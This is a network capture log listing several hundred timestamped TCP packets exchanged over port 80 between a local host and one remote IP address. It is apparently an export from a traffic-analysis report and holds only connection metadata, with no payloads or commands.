Nov 1, 2024 13:42:21.596093893 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596106052 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596110106 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596127033 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596133947 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596143961 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596148014 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596162081 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596167088 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596182108 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596188068 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596194983 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596199036 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596215963 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596225023 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596232891 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596237898 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596251965 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596251965 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596268892 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596275091 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596287012 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596287966 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596301079 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596324921 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596409082 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596426010 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596441031 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596451044 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596458912 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596476078 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596487999 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596493006 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596503973 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596509933 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596524000 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596534014 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596539021 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596555948 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596564054 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596575975 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596589088 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596606016 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596607924 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596625090 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596631050 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596642971 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596652031 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596662045 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596664906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596678972 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596704960 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596704960 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596729040 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596740007 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596745014 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596764088 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596767902 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596779108 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596784115 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596806049 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596833944 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596853018 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596869946 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596884966 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596890926 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596901894 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596910954 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596919060 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596920013 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596934080 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596942902 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596951962 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596955061 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596968889 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596971035 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596993923 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.596996069 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.596999884 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597012997 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597026110 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597037077 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597049952 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597049952 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597064972 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597068071 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597085953 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597089052 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597104073 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597109079 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597121000 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597135067 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597138882 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597140074 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597156048 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597163916 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597177029 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597182989 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597192049 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597206116 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597206116 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597208023 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597225904 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597225904 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597251892 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597253084 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597260952 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597269058 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597292900 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597295046 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597311020 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597318888 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597326994 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597337961 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597346067 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597352982 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597368956 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597373009 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597385883 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597393990 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597402096 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597413063 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597419024 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597429991 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597436905 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597449064 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597462893 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597466946 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597481966 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597491980 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597508907 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597512007 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597527027 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597531080 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597544909 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597547054 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597572088 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597584009 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597608089 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597625017 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597641945 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597646952 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597659111 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597676992 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597680092 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597700119 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597706079 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597721100 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.597726107 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597740889 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.597760916 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717045069 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717065096 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717081070 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717108965 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717129946 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717159986 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717175007 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717183113 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717190981 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717215061 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717227936 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717231989 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717241049 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717243910 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717259884 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717268944 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717277050 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717289925 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717293024 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717303038 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717327118 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717331886 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717742920 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717766047 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717782021 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717792034 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717807055 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717827082 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717860937 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717876911 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717891932 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717904091 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717909098 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717919111 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717925072 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.717936039 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717957973 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717982054 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.717987061 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718002081 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718018055 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718024015 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.718030930 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.718035936 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718053102 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718067884 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718076944 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.718091965 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718101025 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.718105078 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718121052 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718128920 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.718138933 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718146086 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.718156099 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718173981 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.718184948 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.718204021 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.718763113 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718786001 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718801022 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718811035 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.718815088 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718832016 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718833923 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.718875885 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.718920946 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718971014 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.718974113 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.718991995 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719012022 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719031096 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719032049 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719047070 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719063044 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719069958 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719084978 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719090939 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719173908 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719188929 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719204903 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719219923 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719221115 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719235897 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719244003 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719257116 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719266891 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719273090 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719284058 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719289064 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719300032 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719317913 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719326973 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719330072 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719343901 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719343901 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719360113 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719366074 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719373941 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719377041 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719393969 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719400883 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719409943 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719419003 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719427109 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719429970 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719444990 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719468117 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719831944 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719882011 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719918966 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719940901 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.719964027 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.719974041 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720056057 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720072031 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720079899 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720108032 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720120907 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720123053 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720139980 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720150948 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720158100 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720182896 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720206022 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720240116 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720256090 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720269918 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720283031 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720285892 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720293045 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720304012 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720313072 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720319986 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720336914 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720340014 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720360041 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720387936 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720391035 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720403910 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720426083 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720427036 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720443964 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720448017 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720459938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720468044 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720477104 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720478058 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720494032 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720498085 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720509052 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720518112 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720526934 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720536947 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720547915 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720562935 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720597982 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720612049 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720624924 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720638037 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720642090 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720644951 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720659018 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720665932 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720686913 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720696926 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720698118 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720712900 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720727921 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720737934 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720745087 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720745087 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720760107 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720761061 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720783949 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720787048 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720794916 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720828056 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720843077 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720856905 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720870972 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720887899 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720896959 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720904112 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720911026 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720913887 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720931053 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.720936060 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.720947981 CET	80	49754	95.215.207.176	192.168.2.4
